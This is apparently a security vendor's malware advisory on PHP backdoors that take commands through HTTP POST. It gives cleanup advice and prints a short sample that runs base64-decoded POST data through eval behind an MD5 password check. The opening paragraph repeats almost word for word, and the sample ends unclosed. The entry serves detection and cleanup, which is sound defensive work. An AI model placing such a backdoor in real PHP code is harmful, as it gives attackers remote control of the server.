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Backdoors are server-side malicious scripts which are intended to perpetrate malicious acccess to the server. The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside. Server level analysis is necessary in case of infection by this type of malware.The typical example of such backdoors are various File Managers, Web Shells, tools for bypassing admin login or various one-purpose scripts allowing the attacker to upload and run another type of malicious scripts. The payload is PHP based, thus intended for server-side use and the payload is executed directly on the server, while the site is loaded. Only the payload result (such as Web Shell environment) is visible in the browser, not the malicious code itself. It's very common, that backdoors don't have any visible signs in the site code and it's impossible to detect them by accessing the infected site from outside. Server level analysis is necessary in case of infection by this type of malware.

One of the very common backdoor technique is getting the commands or even the whole payload remotely. One of the possibilities is using the HTTP POST method of transferring data. Such data can be directly evaluated (in case of paylod is transferred using this method) or further processed (in case of those are just some commands, decrypting keys and similar). This is generic signature.

Affecting

Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).

Cleanup

Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.

Dump



Nice example of direct evaluation of the remote code tranferred via the POST method:

if(@md5($_POST["gif"]) === "320648220d6bd8b8e51ec3b6d6dd8898") {
eval (base64_decode($_POST["php"]));
exit;